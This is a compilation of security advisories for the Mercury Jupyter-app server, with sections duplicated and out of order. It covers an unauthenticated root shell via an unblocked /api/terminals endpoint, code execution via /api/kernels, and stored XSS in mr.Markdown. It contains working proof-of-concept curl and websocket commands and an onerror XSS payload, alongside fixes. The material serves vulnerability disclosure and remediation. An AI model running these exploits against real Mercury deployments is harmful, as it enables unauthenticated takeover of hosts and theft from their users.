A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC

Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.

Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals

Response: {"name": "1", "last_activity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Observed output:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact

• Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
• Integrity: attacker can modify or delete any file, including notebooks served to other users.
• Availability: attacker can shut down or crash the server/container.
• Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix

Add the missing comma so /api/terminals becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Mercury runs a JupyterLab server with anonymous access by default (mercury_app/__main__.py sets --IdentityProvider.token='' when no --token/MERCURY_TOKEN is given; when tokenless it also sets --ServerApp.disable_check_xsrf=True). It relies on a blocklist (mercury_app/block_handler.py BLOCKED_PATTERNS: /lab, /api/terminals, /api/shutdown, /files) to keep anonymous users off dangerous Jupyter endpoints.

The vulnerability

/api/kernels is NOT in the blocklist (and cannot be — Mercury needs kernels to run notebooks), and patch_kernel_websocket_handler() (mercury_app/idle_timeout.py) only tracks the idle-timeout: it wraps on_message to call self.application._timeout_manager.touch() and then invokes the original handler with no filtering of execute_request. So any unauthenticated network client can:

POST /api/kernels {"name":"python3"}        -> 201, returns kernel id
open websocket /api/kernels/<id>/channels
send an execute_request with arbitrary code -> arbitrary Python execution = RCE

Distinct from GHSA-f8c7-rwf9-fmgm (incomplete fix)

GHSA-f8c7 was "Unauthenticated RCE via /api/terminals" — a missing-comma blocklist bypass. Its fix (add the comma so /api/terminals is blocked) does NOT address /api/kernels, which remains exploitable. The blocklist approach is fundamentally unable to cover kernels, so this is not a variant that another blocklist entry fixes.

Runtime-proven (on the patched version)

On mercury 3.2.4 — the release that fixed GHSA-f8c7 — with the default (tokenless) config, as an unauthenticated client: POST /api/terminals returns 403 (the f8c7 fix is present), but POST /api/kernels returns 201; opening the kernel websocket and sending an execute_request executed attacker-supplied Python (ran whoami as the server process user and wrote a marker file /tmp/PWNED_MERCURY_RCE). Full unauthenticated remote code execution. Deterministic PoC (client script + notebook) included.

Impact

Unauthenticated, network-reachable arbitrary code execution as the Mercury server process user on every default deployment — complete compromise of the host/container and any data/secrets it can reach.

Fix

The blocklist cannot secure an anonymous kernel-backed server. Require real per-request authentication (a token or password) by default, or restrict the kernel message channel so anonymous websocket clients cannot issue execute_request outside Mercury's own controlled execution flow.

Dedup (3-method)

OSV.dev CLEAN(0) for mercury and mljar-mercury; the repo's only advisory (GHSA-f8c7-rwf9-fmgm) covers /api/terminals only (description does not mention kernels); no issue/PR describes the /api/kernels RCE (#219/#134/#262 are "add auth" feature requests that merely confirm anonymous-by-default). Sink independently confirmed on current HEAD (blocklist omits /api/kernels; token='' default; patch_kernel_websocket_handler does no execute filtering).

Finder: Abdullah Kareem (GitHub: CyberKareem).

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details

The blocklist in mercury_app/block_handler.py is defined as:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together) /api/shutdown(?:/.*)? /files(?:/.*)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC

Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.

Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals

Response: {"name": "1", "last_activity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Observed output:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact

• Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
• Integrity: attacker can modify or delete any file, including notebooks served to other users.
• Availability: attacker can shut down or crash the server/container.
• Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix

Add the missing comma so /api/terminals becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Mercury runs a JupyterLab server with anonymous access by default (mercury_app/__main__.py sets --IdentityProvider.token='' when no --token/MERCURY_TOKEN is given; when tokenless it also sets --ServerApp.disable_check_xsrf=True). It relies on a blocklist (mercury_app/block_handler.py BLOCKED_PATTERNS: /lab, /api/terminals, /api/shutdown, /files) to keep anonymous users off dangerous Jupyter endpoints.

The vulnerability

/api/kernels is NOT in the blocklist (and cannot be — Mercury needs kernels to run notebooks), and patch_kernel_websocket_handler() (mercury_app/idle_timeout.py) only tracks the idle-timeout: it wraps on_message to call self.application._timeout_manager.touch() and then invokes the original handler with no filtering of execute_request. So any unauthenticated network client can:

POST /api/kernels {"name":"python3"}        -> 201, returns kernel id
open websocket /api/kernels/<id>/channels
send an execute_request with arbitrary code -> arbitrary Python execution = RCE

Distinct from GHSA-f8c7-rwf9-fmgm (incomplete fix)

GHSA-f8c7 was "Unauthenticated RCE via /api/terminals" — a missing-comma blocklist bypass. Its fix (add the comma so /api/terminals is blocked) does NOT address /api/kernels, which remains exploitable. The blocklist approach is fundamentally unable to cover kernels, so this is not a variant that another blocklist entry fixes.

Runtime-proven (on the patched version)

On mercury 3.2.4 — the release that fixed GHSA-f8c7 — with the default (tokenless) config, as an unauthenticated client: POST /api/terminals returns 403 (the f8c7 fix is present), but POST /api/kernels returns 201; opening the kernel websocket and sending an execute_request executed attacker-supplied Python (ran whoami as the server process user and wrote a marker file /tmp/PWNED_MERCURY_RCE). Full unauthenticated remote code execution. Deterministic PoC (client script + notebook) included.

Impact

Unauthenticated, network-reachable arbitrary code execution as the Mercury server process user on every default deployment — complete compromise of the host/container and any data/secrets it can reach.

Fix

The blocklist cannot secure an anonymous kernel-backed server. Require real per-request authentication (a token or password) by default, or restrict the kernel message channel so anonymous websocket clients cannot issue execute_request outside Mercury's own controlled execution flow.

Dedup (3-method)

OSV.dev CLEAN(0) for mercury and mljar-mercury; the repo's only advisory (GHSA-f8c7-rwf9-fmgm) covers /api/terminals only (description does not mention kernels); no issue/PR describes the /api/kernels RCE (#219/#134/#262 are "add auth" feature requests that merely confirm anonymous-by-default). Sink independently confirmed on current HEAD (blocklist omits /api/kernels; token='' default; patch_kernel_websocket_handler does no execute filtering).

Finder: Abdullah Kareem (GitHub: CyberKareem).

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details

The blocklist in mercury_app/block_handler.py is defined as:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together) /api/shutdown(?:/.*)? /files(?:/.*)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC

Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.

Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals

Response: {"name": "1", "last_activity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Observed output:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact

• Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
• Integrity: attacker can modify or delete any file, including notebooks served to other users.
• Availability: attacker can shut down or crash the server/container.
• Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix

Add the missing comma so /api/terminals becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Mercury runs a JupyterLab server with anonymous access by default (mercury_app/__main__.py sets --IdentityProvider.token='' when no --token/MERCURY_TOKEN is given; when tokenless it also sets --ServerApp.disable_check_xsrf=True). It relies on a blocklist (mercury_app/block_handler.py BLOCKED_PATTERNS: /lab, /api/terminals, /api/shutdown, /files) to keep anonymous users off dangerous Jupyter endpoints.

The vulnerability

/api/kernels is NOT in the blocklist (and cannot be — Mercury needs kernels to run notebooks), and patch_kernel_websocket_handler() (mercury_app/idle_timeout.py) only tracks the idle-timeout: it wraps on_message to call self.application._timeout_manager.touch() and then invokes the original handler with no filtering of execute_request. So any unauthenticated network client can:

POST /api/kernels {"name":"python3"}        -> 201, returns kernel id
open websocket /api/kernels/<id>/channels
send an execute_request with arbitrary code -> arbitrary Python execution = RCE

Distinct from GHSA-f8c7-rwf9-fmgm (incomplete fix)

GHSA-f8c7 was "Unauthenticated RCE via /api/terminals" — a missing-comma blocklist bypass. Its fix (add the comma so /api/terminals is blocked) does NOT address /api/kernels, which remains exploitable. The blocklist approach is fundamentally unable to cover kernels, so this is not a variant that another blocklist entry fixes.

Runtime-proven (on the patched version)

On mercury 3.2.4 — the release that fixed GHSA-f8c7 — with the default (tokenless) config, as an unauthenticated client: POST /api/terminals returns 403 (the f8c7 fix is present), but POST /api/kernels returns 201; opening the kernel websocket and sending an execute_request executed attacker-supplied Python (ran whoami as the server process user and wrote a marker file /tmp/PWNED_MERCURY_RCE). Full unauthenticated remote code execution. Deterministic PoC (client script + notebook) included.

Impact

Unauthenticated, network-reachable arbitrary code execution as the Mercury server process user on every default deployment — complete compromise of the host/container and any data/secrets it can reach.

Fix

The blocklist cannot secure an anonymous kernel-backed server. Require real per-request authentication (a token or password) by default, or restrict the kernel message channel so anonymous websocket clients cannot issue execute_request outside Mercury's own controlled execution flow.

Dedup (3-method)

OSV.dev CLEAN(0) for mercury and mljar-mercury; the repo's only advisory (GHSA-f8c7-rwf9-fmgm) covers /api/terminals only (description does not mention kernels); no issue/PR describes the /api/kernels RCE (#219/#134/#262 are "add auth" feature requests that merely confirm anonymous-by-default). Sink independently confirmed on current HEAD (blocklist omits /api/kernels; token='' default; patch_kernel_websocket_handler does no execute filtering).

Finder: Abdullah Kareem (GitHub: CyberKareem).

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

